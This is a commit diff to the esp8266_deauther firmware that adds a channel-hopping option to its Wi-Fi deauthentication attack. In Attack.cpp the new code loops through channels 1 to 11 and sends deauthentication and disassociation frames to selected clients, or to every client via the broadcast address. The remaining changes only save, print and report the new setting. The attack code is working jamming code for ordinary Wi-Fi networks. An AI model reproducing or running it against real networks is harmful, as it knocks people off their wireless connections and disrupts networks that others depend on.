Added channel hopping option

Author: Stefan Kremser

esp8266_deauther/Attack.cpp

@@ -135,23 +135,47 @@ void Attack::run(){
           if(clientScan.getClientSelected(i)){
             _selectedClients++;
 
-            buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
-            for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
-            
-            buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
-            for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
-            
+            if(settings.channelHop){
+              for(int j=1;j<12;j++){
+                wifi_set_channel(j);
+                
+                buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
+                if(send()) packetsCounter[0]++;
+                
+                buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
+                if(send()) packetsCounter[0]++;
+              }
+            }else{
+              buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
+              for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
+              
+              buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
+              for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
+            }
           }
         }
 
         if(_selectedClients == 0){
           Mac _client;
           _client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
-          buildDeauth(_ap, _client, 0xc0, 0x01 );
-          for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
-            
-          buildDeauth(_ap, _client, 0xa0, 0x01 );
-          for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
+
+          if(settings.channelHop){
+              for(int j=1;j<12;j++){
+                wifi_set_channel(j);
+
+                buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
+                if(send()) packetsCounter[0]++;
+                
+                buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
+                if(send()) packetsCounter[0]++;
+              }
+            }else{
+              buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
+              for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
+              
+              buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
+              for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
+            }
         }
 
       } 
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
    int numberRunning = 0;
    for(int i=0; i<sizeof(isRunning); i++){
     if(isRunning[i]) numberRunning++;
-    if(debug) Serial.println(numberRunning);
+    //if(debug) Serial.println(numberRunning);
    }
   if(numberRunning>=1 && settings.useLed){
     if(debug) Serial.println("Attack LED : ON");

esp8266_deauther/Settings.cpp

@@ -31,6 +31,7 @@ void Settings::load(){
     clientScanTime = EEPROM.read(clientScanTimeAdr);
     attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
     useLed = (bool)EEPROM.read(useLedAdr);
+    channelHop = (bool)EEPROM.read(channelHopAdr);
   }
 }
 
@@ -53,6 +54,7 @@ void Settings::reset(){
   clientScanTime = 15;
   attackEncrypted = false;
   useLed = false;
+  channelHop = false;
 
   if(debug) Serial.println("done");
 
@@ -81,6 +83,7 @@ void Settings::save(){
   EEPROM.write(clientScanTimeAdr, clientScanTime);
   EEPROM.write(attackEncryptedAdr, attackEncrypted);
   EEPROM.write(useLedAdr, useLed);
+  EEPROM.write(channelHopAdr, channelHop);
   EEPROM.commit();
 
   if(debug){
@@ -104,6 +107,7 @@ void Settings::info(){
   Serial.println("client scan time: "+(String)clientScanTime);
   Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
   Serial.println("use built-in LED: "+(String)useLed);
+  Serial.println("channel hopping: "+(String)channelHop);
 }
 
 String Settings::get(){
@@ -121,6 +125,7 @@ String Settings::get(){
   json += "\"clientScanTime\":"+(String)clientScanTime+",";
   json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
   json += "\"useLed\":"+(String)useLed+",";
+  json += "\"channelHop\":"+(String)channelHop+",";
 
   json += "\"nameList\":[";
   for(int i=0;i<nameList.len;i++){

esp8266_deauther/Settings.h

@@ -25,6 +25,7 @@ extern NameList nameList;
 #define apScanHiddenAdr 1097
 #define apChannelAdr 1098
 #define useLedAdr 1099
+#define channelHopAdr 1100
 
 class Settings
 {
@@ -52,6 +53,7 @@ class Settings
     int clientScanTime;
     bool attackEncrypted;
     bool useLed;
+    bool channelHop;
   private:
 };